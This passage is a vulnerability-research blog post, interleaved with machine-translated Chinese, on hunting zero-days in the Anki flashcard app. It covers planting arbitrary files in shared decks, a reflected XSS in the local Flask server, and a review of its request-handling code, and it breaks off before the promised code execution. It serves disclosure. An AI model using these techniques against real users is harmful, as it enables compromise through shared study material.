It took us 10 days to go from “We think this might be vulnerable” to full-blown remote code execution, including the 7 days we were both on holiday.
我们花了10天的时间从“我们认为这可能是脆弱的”到全面的远程代码执行,包括我们都在度假的7天。
As a student, I’ve searched far and wide for the best study method.
作为一名学生,我到处寻找最好的学习方法。
Pomodoro, interlapping, and active recalls. The Feynman Technique. But one worked for me, as it did with many others: spaced repetition with flashcards.
番茄工作法、交叉回忆法和主动回忆法。费曼技术但有一个方法对我很有效,就像对其他许多人一样:用抽认卡间隔重复。
Anki is the world’s most popular flashcard program.
Anki是世界上最流行的抽认卡程序。
It’s over 17 years old (the same age as me!), with 10s of millions of downloads, and beloved by all students, from medicine to aerospace engineering and even the arts. With the release of FSRS (a fantastic new spaced-repetition algorithm), it is also objectively the best flashcard program on the market.
它已经超过17岁了(和我一样大!),下载量高达数千万,深受医学、航空航天工程、甚至艺术领域所有学生的喜爱。随着FSRS(一种奇妙的新间隔重复算法)的发布,它也是客观上市场上最好的抽认卡程序。
And it just so happens to be open source.
它恰好是开源的。
In March, while studying for my upcoming A-Level exams, my friend and talented cyber-security developer @Autmn contacted me to discuss Anki’s security. I was intrigued.
今年3月,在我准备即将到来的A-Level考试时,我的朋友和才华横溢的网络安全开发人员@Autmn联系了我,讨论Anki的安全性。我很好奇。
One Friday night, we had a quick look and came to some conclusions:
一个星期五的晚上,我们快速浏览了一下,得出了一些结论:
- It’s widely accepted that importing flashcards is considered safe.
人们普遍认为进口抽认卡是安全的。 - Using flashcards is safe.
使用抽认卡是安全的。 - Addons are not safe, as they are arbitrary Python code.
插件是不安全的,因为它们是任意的Python代码。 - Anki is 17 years old and the most used flashcard program in the world. If there were a vulnerability, surely someone would have found it by now.
Anki已经17岁了,是世界上使用最多的抽认卡程序。如果有弱点,肯定有人已经发现了。
That following weekend, we examined the codebase and quickly found our first vulnerability – an arbitrary file read for text-based files.
在接下来的周末,我们检查了代码库,并很快发现了第一个漏洞–对基于文本的文件的任意文件读取。
But having seen the codebase, we realised there is more than meets the eye.
但是在看到代码库之后,我们意识到还有更多的东西。
This post provides a thorough outline of the timeline and technical aspects of the exploit. Check out Autumn’s post here for a more laid-back, humorous overview!
这篇文章提供了一个完整的时间轴和技术方面的利用大纲。看看秋天的帖子在这里为一个更悠闲,幽默的概述!
我们从学习别人的抽认卡中破解了Anki – 0天漏洞
Anki是世界上最受欢迎的抽认卡程序。仅Android应用程序就有1000万次下载,这是一个第三方应用程序,有人创建,不是一个官方的Anki应用程序。Anki可在Windows、Mac、Web、IOS和更多设备上使用。Anki大概有五千万
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
I’ve tried my best to curate this post to appeal to all skill levels, so hopefully, you’ll learn something new – Enjoy the post!
我已经尽了最大的努力来策划这篇文章,以吸引所有的技能水平,所以希望,你会学到一些新的东西-享受这篇文章!
General Outline 总纲
Introduction 介绍
This section explains Anki, its main features, security posture, and a rough outline of its internals. If you’re familiar with the app, go directly to the exploitation section.
本节解释Anki,它的主要特性,安全状态,以及它的内部结构的大致轮廓。如果您熟悉该应用程序,请直接前往开发部分。
Basic tutorial 基础教程
Upon opening Anki, we’re greeted with a view of our decks. Directly above our decks is the main toolbar, which provides the essential features needed for studying and creating flashcards. These include managing our content, viewing our learning statistics, and syncing our content with a cloud server.
打开Anki后,我们看到了我们的甲板。在我们的卡片组的正上方是主工具栏,它提供了学习和创建抽认卡所需的基本功能。这些包括管理我们的内容,查看我们的学习统计数据,以及将我们的内容与云服务器同步。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image.png)
We can add a new card to learn by clicking the “Add” button, which greets us with the configuration interface where we can add our content. Here, we can select the card type and the deck to which the card should be added.
我们可以通过点击“添加”按钮来添加一个新的卡片来学习,这会给我们带来一个配置界面,我们可以在那里添加我们的内容。在这里,我们可以选择卡片类型和卡片应该添加到的卡片组。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-1.png)
Once we’ve created our card, we can return to the home page and select our deck to review the content. When prompted with a card, we see the front (question) and try to recall the back (answer). After we’ve been shown the answer, we tell Anki how we did.
一旦我们创建了我们的卡片,我们就可以返回主页并选择我们的卡片组来查看内容。当提示一张卡片时,我们看到前面(问题),并试图回忆后面(答案)。在我们看到答案后,我们告诉Anki我们做得如何。
Based on the response we give it, using a special algorithm, each card is assigned a particular value, which determines how often it appears in the review. The magic of spaced repetition comes alive here, as the card is only shown when we’re about to forget it!
根据我们给它的回应,使用一种特殊的算法,每张卡片都被赋予一个特定的值,这决定了它在评论中出现的频率。间隔重复的魔力在这里变得生动起来,因为只有当我们即将忘记它时,卡片才会显示出来!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-3.png)
We’ve barely scratched the surface of what you can do with Anki, but hopefully, this small section has given you some context on how one would use it.
我们仅仅触及了你可以用Anki做什么的表面,但希望这一小部分能给你一些关于如何使用它的背景。
Security posture 安全态势
Let’s examine Anki’s overall security posture and determine whether there are any present concerns regarding its security implementation(s).
让我们检查Anki的整体安全状况,并确定目前是否存在任何关于其安全实现的问题。
I think it’s important to look at this to get a rough idea of what issues there could be and what the consensus is on how the security implementations are set up so we have a base to start with.
我认为重要的是要了解这一点,以便大致了解可能存在的问题以及关于如何设置安全实现的共识,以便我们有一个基础。
请记住,以下是在报告漏洞之前撰写本文时的安全状况!
Firstly, let’s have a look at the SECURITY.md
file, which is the go-to when wanting to report a vulnerability.
首先,让我们来看看 SECURITY.md
文件,这是想要报告漏洞时的首选文件。
Anki的共享后端和Web组件,以及Qt前端- ankitects/anki
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
There’s an interesting note here about JavaScript on cards;
这里有一个关于卡片上的JavaScript的有趣说明;
The computer version has a limited interface between Javascript and the parts of Anki outside of the webview, so arbitrary code execution outside of the webview should not be possible.
计算机版本在JavaScript和Webview之外的Anki部分之间有一个有限的接口,因此在Webview之外执行任意代码应该是不可能的。
Users can share decks for others to use, and the cards inside these decks can contain arbitrary JavaScript that is executed when reviewing the card. However, it should all be isolated and arbitrary access to the system should not be possible.
用户可以共享卡片组供其他人使用,这些卡片组中的卡片可以包含在查看卡片时执行的任意JavaScript。然而,所有这些都应是孤立的,不应允许任意进入该系统。
在Anki-Web上有一小部分,但在这篇博客文章中,我们将远离这个闭源服务,并专注于主要应用程序。
Let’s focus on the manual, which only has a couple of references to security.
让我们把重点放在手册上,其中只有几处提到安全性。
- We can see a note about Qt, the software it uses to create its interface. It states that the newest release (Qt6) contains security updates, so it should be used instead of the Qt5 version.
我们可以看到一个关于Qt的注释,它用来创建其界面的软件。它指出最新版本(Qt 6)包含安全更新,因此应该使用它而不是Qt 5版本。
Security updates. Support for the Qt5 library was discontinued in Nov 2020, meaning that any security flaws discovered since then will remain unfixed.
安全更新。对Qt 5库的支持已于2020年11月停止,这意味着此后发现的任何安全漏洞都将保持未修复状态。
- We can also see a note about using Maths & Symbols in the cards (Using LaTeX). It states that they know malicious functions that could be abused with LaTeX and explicitly prohibits their use! However, it’s also possible to override this by adding them to a system package and importing it.
我们还可以在卡片中看到关于使用数学和符号的说明(使用LaTeX)。它指出,他们知道可以滥用LaTeX的恶意功能,并明确禁止使用它们!然而,也可以通过将它们添加到系统包并导入它来覆盖它。
Anki prohibits certain commands like \input or \def from being used on cards or in templates, because allowing them could allow malicious shared decks to damage your system.
Anki禁止在卡片或模板中使用某些命令,如\input或\def,因为允许它们可能会允许恶意共享卡片组损坏您的系统。
Finally, we’ll search Anki’s source code for any security warnings promoted to the user. From this we find a message related to Add-Ons.
最后,我们将搜索Anki的源代码,以查找向用户推送的任何安全警告。从这里我们可以找到一条与附加组件相关的消息。
Important: As add-ons are programs downloaded from the internet, they are potentially malicious. You should only install add-ons you trust.
重要提示:由于加载项是从互联网下载的程序,因此它们具有潜在的恶意。您应该只安装您信任的附加组件。
Addons are Python modules that hook into Anki when it is running. We’ll examine them more closely during our initial survey, but Anki clearly warns users that they aren’t to be trusted.
插件是在Anki运行时挂接到Anki的Python模块。我们将在最初的调查中更仔细地检查它们,但Anki明确警告用户不要信任它们。
So far, we’ve examined the official standpoint. Now, let’s examine the community consensus.
到目前为止,我们已经研究了官方的立场。现在,让我们看看社区的共识。
Thankfully, all users understand and agree that addons are malicious, and there are no mixed opinions. Instead, most of the security discussions focused on JavaScript being on the card, which seems more relaxed. Let’s view some standpoints!
值得庆幸的是,所有用户都理解并同意插件是恶意的,并且没有混合的意见。相反,大多数安全性讨论都集中在JavaScript上,这似乎更轻松。让我们看一些观点!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-10.png)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-7.png)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-12.png)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-13.png)
- Mostly all people agree that shared decks are OK.
大多数人都同意共享甲板是好的。 - Some users argue that shared decks should be treated the same as visiting a malicious website on your browser because of the arbitrary JavaScript. An issue could allow the JS to escape isolation (JS can also be used to make network requests). Therefore, shared decks should be treated as a potential security risk.
一些用户认为,由于任意的JavaScript,共享甲板应该被视为访问浏览器上的恶意网站。一个问题可能会让JS逃脱隔离(JS也可以用来发出网络请求)。因此,共享数据库应被视为潜在的安全风险。 - Another point mentioned concerns arbitrary messages between JS and Anki’s internal Python runtime, which we should investigate.
另一点提到的是JS和Anki内部Python运行时之间的任意消息,我们应该调查一下。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-9.png)
Aside from the prominent JavaScript discussions, several mentions discuss using LaTeX and how it’s turning complete — certainly something to look into.
除了突出的JavaScript讨论,几个提到讨论使用LaTeX和它是如何变成完整的-当然是一些研究。
With this information, we now understand where to start in our initial recon and the user base’s concerns regarding Anki’s security.
有了这些信息,我们现在了解了我们最初的侦察和用户群对Anki安全性的担忧。
Codebase Overview 代码库概述
Anki has been in development since 2006, and its codebase has undergone significant changes to keep up with evolving software industry standards. This makes it a complex project that incorporates many different technologies.
Anki自2006年以来一直处于开发阶段,其代码库经历了重大变化,以跟上不断发展的软件行业标准。这使得它成为一个包含许多不同技术的复杂项目。
在撰写本文时,Anki的当前版本是24.04
We’ll take a high-level view of the codebase without getting bogged down in the inner workings (which we will look into for each specific exploit). Fortunately, the Anki repository includes an Architecture.md
file that provides insight into its architecture.
我们将对代码库进行高级查看,而不会陷入内部工作(我们将针对每个特定的漏洞进行研究)。幸运的是,Anki存储库包含一个 Architecture.md
文件,可以深入了解其架构。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-15.png)
Anki’s graphical user interface (GUI) utilises the Qt library, with a web view being the main component for most pages, including reviewing cards. This makes creating specialised card content a breeze, as it’s purely HTML, CSS and JS. In the below screenshot, the main dashboard is a web page (in green), while the toolbars are Qt widgets (in red).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-3.png)
Our webview connects to a locally hosted (127.0.0.1) web server that uses Flask, a micro web server library. The frontend pages are generated with Svelte, a framework for creating rich web apps. The backend methods for interacting with the interface and card collections (such as importing a new collection) are exposed from this web server.
我们的webview连接到本地托管(127.0.0.1)的Web服务器,该服务器使用Flask(一个微型Web服务器库)。前端页面是用Svelte生成的,这是一个用于创建富Web应用程序的框架。用于与接口和卡片集合交互的后端方法(例如导入新集合)从此Web服务器公开。
The exposed methods are written in Python, and requests are proxied to the associated rust bindings. (Remember that the Rust language wasn’t even a thing back in 2006, so the core of Anki was originally in Python). When running the application, a _backend.py
file with the bindings is dynamically generated.
公开的方法是用Python编写的,请求被代理到相关的rust绑定。(请记住,Rust语言在2006年甚至还没有出现,所以Anki的核心最初是Python)。运行应用程序时,会动态生成一个带有绑定的 _backend.py
文件。
Now that we have a basic understanding of the architecture and the technologies Anki uses, we can move on to the main section of this blog post — hacking!
现在,我们对Anki使用的架构和技术有了一个基本的了解,我们可以进入这篇博客文章的主要部分-黑客!
Exploitation 剥削
In this section, we’ll analyse the exploits we found, how we found them, why they work, and their associated impact in depth. Be prepared to dive deep into code analysis and examine documentation!
在本节中,我们将分析我们发现的漏洞,我们如何发现它们,它们为什么工作,以及它们的相关影响。准备好深入代码分析和检查文档!
Potential Vectors
Let’s start by working out the entry point(s) for an Attacker. Anki is locally installed software that doesn’t require an internet connection to use, so it’s not as easy to find a vector as it would be on an online service.
With that being said, there are two main ways we could go about this:
Addons
Firstly, let’s take a quick look at the add-ons. As noted in the “Security Posture” section, these are considered unsafe and shouldn’t be trusted. Let’s take a look at why this is – by analysing the code for loading one
def loadAddons(self) -> None:
from aqt import mw
broken: list[str] = []
error_text = ""
for addon in self.all_addon_meta():
if not addon.enabled:
continue
if not addon.compatible():
continue
self.dirty = True
try:
__import__(addon.dir_name)
We can see there are no restrictions here, and because the code is being directly executed in the program’s context (by using import
), the possibilities for what can be done with it are endless.
Interestingly, while a warning shows for manually installed addons, users aren’t warned before installing add-ons from the shared add-ons site (via the ID code, as shown below).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-16.png)
Hopefully, these add-ons are vetted regularly to prevent attacks, including when they are updated. I haven’t tried uploading any malicious add-ons to the repository, but the site administrators should be checking them. Even then, I believe a warning should be shown for this installation method to inform the user of the potential risk.
希望这些附加组件定期进行审查,以防止攻击,包括更新时。我还没有尝试上传任何恶意插件到仓库,但网站管理员应该检查他们。即使这样,我认为应该为这种安装方法显示警告,以告知用户潜在的风险。
Of course, one could try to phish the user into trusting the add-on and get them pwned that way, but that’s lame, so let’s look at our other entry point.
当然,也可以尝试通过网络钓鱼让用户信任这个插件,然后让他们这样做,但这很蹩脚,所以让我们看看另一个入口点。
Shared decks 共享甲板
Being a flashcard app used for learning, creating and sharing decks is one of the most essential features. Sharing is caring, after all!
作为一个用于学习,创建和共享甲板的抽认卡应用程序是最基本的功能之一。分享就是关怀,毕竟!
In fact, it’s so important that there’s even an official site for sharing all your awesome decks. You can find countless examples of people openly sharing these flashcards in different communities, from medical schools to language learning.
事实上,这是如此重要,甚至有一个官方网站分享你所有的真棒甲板。你可以找到无数的例子,人们公开分享这些抽认卡在不同的社区,从医学院到语言学习。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-21.png)
As we’ve seen earlier, there’s also very minimal concern about these shared decks; after all, they’re just text content that doesn’t contain any code apart from JavaScript for styling, which is all isolated anyway, right? Anki’s been around for 16 years, and from our research, we’ve concluded there haven’t been any issues with decks containing malware that have compromised a user’s system.
As you can probably tell from that rant, this is indeed the route we’ll be going down and spoilers: it’s worse than you think!
Methodology
Let’s create a clear methodology and establish a logical path to avoid feeling overwhelmed. This is where the security posture research helps!
- Firstly, we’ll look at the import and export of a card. Do any warnings pop up? How is the media content stored? What can be imported?
- Then, we’ll examine the flashcard’s styling and templating features (think of this as the “backend” of a card), including the JavaScript content and its links to the internal Python runtime.
- Finally, we’ll examine the actual flashcard content itself (think of this as the “frontend”) and the rich content, such as LaTeX and media, that can be embedded into it.
Flashcard delivery
Let’s create a simple flashcard and see how one would share it (see the tutorial section if you don’t know how). To export the card, open up the “Browse” menu, right-click the card, select “Notes” and “Export notes”.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-17.png)
An “Export” menu should pop up – we get a wide range of options here for how we want to export the card.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-18.png)
The main form of sharing a card is through a .apkg
file; this option allows us to include media and scheduling information in our card, which gives us a broad attack surface.
But what does an .apkg
file include? Thanks to this GitHub repo, we can get a rough overview of how the content is stored. Immediately, we can see that it’s just an zip
archive that has had its extension changed. Let’s have a look inside.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-19.png)
The collection files contain an SQLite database with the card information — this is the main content. Then, we have some tiny metadata that’s been added with the most recent versions of Anki (I believe this contains the software version that has been used).
Finally, we have our media content (0
and 1
). In the media
file are mappings between these files and what the names are to be stored as, for example, 0
could be rick.mp4
. Let’s look at where the media content is stored upon importing; we can find this in the manual!
There is also a separate folder for each profile. The folder contains:
– Your audio and images in a collection.media folder
For our Windows machine, this is, by default, located in %appdata%/Anki2
. When Anki imports the card, the respective media is copied into this folder.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-20.png)
We can also export our card as a plain txt
file! This doesn’t allow us to include media in the card, but we can keep the HTML and styling content. This option gives us a smaller surface for what we can include but wouldn’t raise suspicions as much as the custom .apkg
format!
Let’s now examine the importing process. To import a card, click “File” and “Import” from the top toolbar, then select the file you want to import. Alternatively, you can drag the file from your file explorer directly into the Anki window. Once done, an import window like this should pop up; we only need to click the “import” button, and the cards will be added to the respective decks.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-22.png)
By default, the import will include all media and styling content. However, the cards will not be automatically studied upon import — as with their other decks, the user must do this themselves. This is good because it allows users to view the card content beforehand.
We’ve seen how simple importing a card is and that there are no warnings during this process; now, let’s look at what media we can import – Can we use any file in our shared deck, or does it only accept media content?
To test this, I’ll use the EICAR malware test file (A tiny file whose purpose is to test AV programs). I understand Anki isn’t an anti-virus program, but if we can use a malware executable in our shared decks, we can safely assume that any other file can also be used.
Open Anki’s “Card editor” dialogue and select the paperclip 📎 icon. A window dialogue will pop up, prompting you for a file. Huzzah — it filters for only media content!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-24.png)
Well, not quite. We’re hackers — a simple client-side prompt filter isn’t stopping us! Let’s totally ignore this and manually type the filename into the prompt.
Anki accepts it with no issues.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-26.png)
Having established that we can include any file content in our shared deck, we may be able to chain this with an exploit later on to get arbitrary code execution.
media
folder? You’d be dead right in saying so, and we’ll cover this later on in the “content” section!Let’s now shift our attention to the styling of our cards. This is the HTML/CSS/JS mentioned earlier.
Flashcard styling
One of Anki’s most attractive features is its wide customizability of flashcard styling. Because flashcards are rendered as a webpage, users can easily modify the styling of the flashcard to their heart desires.
For example, they could change the background colour to make reading the card easier or even include a JavaScript snippet to generate dynamic content (such as the current year).
To customise your cards, in the toolbar, select Tools
then Manage note types
. Then choose the note type you want to change and click Cards
. A window will pop up with the template options for the front and back sides of the card, including a dedicated section for styling with CSS, as shown below.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-29.png)
Here, you can enter any valid HTML you want. This will be shown for each card of the respective note type during review.
Let’s dig into what we can access within this JavaScript environment.
Avoiding rabbit holes
As we know from earlier, the webserver that Anki is using to serve the content is hosted using the Flask framework. It’s used for a wide range of things, from hosting rich pages to reviewing cards. Let’s have a look at what we can abuse!
Firstly, developer tools are one of the most must-have utilities when working with web applications. On most browsers, you can access this with Cntrl+Shift+i
. In Anki, we have to go a bit further and install an addon that’ll enable it (Specifically, the Qt WebEngine Developer Tools)
Once installed, we’re able to right-click and select Inspect
to view the tools. First, we’ll find the web server’s location so we can access it from an actual web browser, where we have more control over it.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-4.png)
Before looking at the source code of web applications I perform security research on, I personally like to play around with them blindly, using it as intended and then working my way through a basic methodology, checking where I can give input and how it deals with anything unreasonable.
The reason is that looking at the source code might subconsciously cause me to attach to something beforehand without giving myself a chance to familiarise myself with the whole application first and, therefore, miss something. It also gives me context as to the purpose of the application, which is arguably one of the most important things!
Okay, back to the webpage, we can see it’s located at 127.0.0.1:49771
so let’s go there.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-5.png)
To use Flask, you define “routes” for the paths of your web application in the form of a wrapper around a function that returns the contents you want. For example, in the snippet below, we’ve defined a route for the root (/
) that return “Hello, World!”.
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello, World!'
The 404 error I’m getting means that a route hasn’t been defined for /
. Let’s try to access a random page and see if we get anything different.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-6.png)
Well, that’s progress. Because it’s not giving the default flask 404, I know that a route’s been defined for this path; some code is being run when I access this, so I imagine it has a catch-all route /*
that performs some checks on what you’ve accessed, then returns what’s needed – in this case, it’s concluded that it doesn’t know what to do with what we’ve requested.
嗯,这是进步。因为它没有给出默认的flask 404,所以我知道已经为这个路径定义了一个路由;当我访问这个路径时,一些代码正在运行,所以我想象它有一个捕获所有路由 /*
,它对你访问的内容执行一些检查,然后返回所需的内容-在这种情况下,它得出的结论是它不知道如何处理我们请求的内容。
# Example catch-all
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
This is interesting because instead of having statically defined routes, it doesn’t precisely know what resources it will have at run-time and, therefore, must be able to route all paths given to it — for example, to access some of the media assets that can be embedded in the flashcards. (This then makes me wonder if some sort of directory traversal is possible)
这很有趣,因为它没有静态定义的路由,它并不精确地知道它在运行时将拥有什么资源,因此,必须能够路由给它的所有路径-例如,访问可以嵌入在抽认卡中的一些媒体资产。(This然后让我想知道是否有某种目录遍历是可能的)
Unlike Flask’s default 404, the requested resource path is echoed back to me. This means it’s being included directly in the HTML, and if it’s not being handled correctly as text, it’s vulnerable to a Cross-Site-Scripting exploit. Let’s test!
与Flask的默认404不同,请求的资源路径会被回显给我。这意味着它直接包含在HTML中,如果它没有被正确地处理为文本,它很容易受到跨站点脚本攻击。让我们测试!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-9.png)
Nice. We’ve successfully achieved XSS! However, as I mentioned earlier, we can already embed JavaScript into our cards, so does this make much of a difference? Not with our current knowledge, but potentially in the future – let’s keep this in mind.
不错啊我们已经成功实现了XSS!然而,正如我前面提到的,我们已经可以将JavaScript嵌入到我们的卡片中,那么这会有很大的不同吗?不是我们目前的知识,但在未来的潜在-让我们记住这一点。
Now let’s look at an actual page, say, the dashboard – located at /_anki/legacyPageData?id=456
.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-10.png)
When hackers see something like ?id=xyz
we immediately think of IDOR, a type of vulnerability involving directly accessing objects you shouldn’t be able to access!
For example, if we viewed our profile details with something like website.com/user?id=4
we would change it to user?id=5
to try and access user 5’s data.
However, this situation is slightly different because we’re not interested in accessing other pages we already have control over — it only has the local user-inputted data, which is only accessible from the device Anki is running on.
Instead, let’s have a bit of fun and try to break it – by inputting a string
instead.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-11.png)
Ahh that would have been a fun way to crash the application, but luckily, the exception was caught. I assume that something like the following is in the code:
page = get_page_by(int(id))
Because Python type casting doesn’t have any vulnerabilities (that I’m aware of), and we can’t get code execution just through these integers, it’s clear there isn’t really further to explore here.
…Apart from the XSS of course!
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/05/image-12.png)
Let’s focus on the source code now to understand how the server handles our requests and the local resources it accesses.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
Immediately, I saw something that piqued my interest: Anki has a category for the pages being requested, assigning “context” depending on where it was located. The comment “security issue” suggests that as well as organising the pages being requested, it’s possible this is used to segregate what different permissions each context/page has.
class PageContext(enum.Enum):
UNKNOWN = 0
EDITOR = 1
REVIEWER = 2
# something in /_anki/pages/
NON_LEGACY_PAGE = 3
# Do not use this if you present user content (e.g. content from cards), as it's a
# security issue.
ADDON_PAGE = 4
Moving down, we see a function defined for local file requests
def _handle_local_file_request(request: LocalFileRequest) -> Response:
directory = request.root
path = request.path
try:
isdir = os.path.isdir(os.path.join(directory, path))
except ValueError:
return flask.make_response(
f"Path for '{directory} - {path}' is too long!",
HTTPStatus.BAD_REQUEST,
)
directory = os.path.realpath(directory)
path = os.path.normpath(path)
fullpath = os.path.abspath(os.path.join(directory, path))
This function takes in a request
object, which contains information about a file that the application wants, takes the relative path and starting directory and gets the full path. Here come the security additions; clearly, the author has already thought about directory traversal and added preventions against it. It also checks if it’s a directory requested and, if so, forbids it.
# protect against directory transversal: https://security.openstack.org/guidelines/dg_using-file-paths.html
if not fullpath.startswith(directory):
return flask.make_response(
f"Path for '{directory} - {path}' is a security leak!",
HTTPStatus.FORBIDDEN,
)
if isdir:
return flask.make_response(
f"Path for '{directory} - {path}' is a directory (not supported)!",
HTTPStatus.FORBIDDEN,
)
Next, it implements some caching modifications for js
and css
assets. This is where the XSS occurs, flask.make_response(f"Invalid path: {path}")
.
try:
mimetype = _mime_for_path(fullpath)
if os.path.exists(fullpath):
if fullpath.endswith(".css"):
# caching css files prevents flicker in the webview, but we want
# a short cache
max_age = 10
elif fullpath.endswith(".js"):
# don't cache js files
max_age = 0
else:
max_age = 60 * 60
return flask.send_file(
fullpath, mimetype=mimetype, conditional=True, max_age=max_age, download_name="foo" # type: ignore[call-arg]
)
else:
print(f"Not found: {path}")
return flask.make_response(
f"Invalid path: {path}",
HTTPStatus.NOT_FOUND,
)
except Exception as error:
...
Now, we’re coming upon where the global catch-all route is defined. This contains the logic behind how the flask server processes our request, and we can start tracing the individual functions from here.
现在,我们来到了全球全面覆盖路线的定义。这包含了flask服务器如何处理我们的请求的逻辑,我们可以从这里开始跟踪各个函数。
@app.route("/<path:pathin>", methods=["GET", "POST"])
def handle_request(pathin: str) -> Response:
host = request.headers.get("Host", "").lower()
allowed_prefixes = ("127.0.0.1:", "localhost:", "[::1]:")
if not any(host.startswith(prefix) for prefix in allowed_prefixes):
# while we only bind to localhost, this request may have come from a local browser
# via a DNS rebinding attack
print("deny non-local host", host)
abort(403)
Note that it’s catching POST
as well as GET
methods, this, to me, suggests that the web server also has API methods to directly interact with Anki’s media, such as images or flashcards (the file is called mediasrv.py
, after all). This would make sense, as it gives a direct way for the JavaScript on a web page (Like the card editor) that doesn’t have a broad scope to call the main Python code to perform external functions, such as adding media from the device.
请注意,它捕获了 POST
和 GET
方法,对我来说,这表明Web服务器也有API方法来直接与Anki的媒体交互,例如图像或抽认卡(毕竟该文件名为 mediasrv.py
)。这是有意义的,因为它为网页上的JavaScript(如卡片编辑器)提供了一种直接的方式,该网页没有广泛的范围来调用主要的Python代码来执行外部功能,例如从设备添加媒体。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-50.png)
Moving further down, our handler interprets what precisely the request entails and then sends it to another method depending on the result. For example, if it’s a local file request we’d send it to the handle_local_file_request
method.
req = _extract_request(pathin)
if dev_mode:
print(f"{time.time():.3f} {flask.request.method} /{pathin}")
if isinstance(req, NotFound):
print(req.message)
return flask.make_response(
f"Invalid path: {pathin}",
HTTPStatus.NOT_FOUND,
)
elif callable(req):
return _handle_dynamic_request(req)
elif isinstance(req, BundledFileRequest):
return _handle_builtin_file_request(req)
elif isinstance(req, LocalFileRequest):
return _handle_local_file_request(req)
else:
return flask.make_response(
f"unexpected request: {pathin}",
HTTPStatus.FORBIDDEN,
)
Let’s focus on how the server categorises what sort of request it is.
def _extract_request(
path: str,
) -> LocalFileRequest | BundledFileRequest | DynamicRequest | NotFound:
if internal := _extract_internal_request(path):
return internal
elif addon := _extract_addon_request(path):
return addon
if not aqt.mw.col:
return NotFound(message=f"collection not open, ignore request for {path}")
path = hooks.media_file_filter(path)
return LocalFileRequest(root=aqt.mw.col.media.dir(), path=path)
The code above tries to handle the request as each of the following types and then returns the result if it was extracted correctly from the given method associated with the type. We’re not interested in addons as they’re out of scope, and we’ve already looked at the local file requests — therefore, let’s focus on the internal request.
Firstly, an analysis is done on the first section of the path to make sure it’s intended to be an internal request.
def _extract_internal_request(
path: str,
) -> BundledFileRequest | DynamicRequest | NotFound | None:
"Catch /_anki references and rewrite them to web export folder."
prefix = "_anki/"
if not path.startswith(prefix):
return None
Next, we extract the full directory. If it’s just anki
then it’s most likely an API request and provided the method is POST, we can return what resource it wants to send data to (filename
will be the final part of the path, e.g. add_image
in /_anki/add_image
)
dirname = os.path.dirname(path)
filename = os.path.basename(path)
additional_prefix = None
if dirname == "_anki":
if flask.request.method == "POST":
return _extract_collection_post_request(filename)
elif get_handler := _extract_dynamic_get_request(filename):
return get_handler
Otherwise, it’s a GET which only has one supported method – legacyPageData
. This is used for mostly all page content, such as the dashboard or review page. This is also where the int
casting happens (and where the other XSS occurs!)
def legacy_page_data() -> Response:
id = int(request.args["id"])
if html := aqt.mw.mediaServer.get_page_html(id):
return Response(html, mimetype="text/html")
else:
return flask.make_response("page not found", HTTPStatus.NOT_FOUND)
def _extract_dynamic_get_request(path: str) -> DynamicRequest | None:
if path == "legacyPageData":
return legacy_page_data
else:
return None
Let’s check the extract_collection_post_request
function now. Firstly it checks if the aqt.mw.col
variable contains a value, which it will do for any of the pages where API calls are made.
Then, it looks up the path in a dictionary of valid handlers. We dynamically define a new function call that wraps around the given handler method and either prepares the response data if required or sends an empty response. (Also implementing error handling in case the API call goes wrong).
def _extract_collection_post_request(path: str) -> DynamicRequest | NotFound:
if not aqt.mw.col:
return NotFound(message=f"collection not open, ignore request for {path}")
if handler := post_handlers.get(path):
# convert bytes/None into response
def wrapped() -> Response:
try:
if data := handler():
response = flask.make_response(data)
response.headers["Content-Type"] = "application/binary"
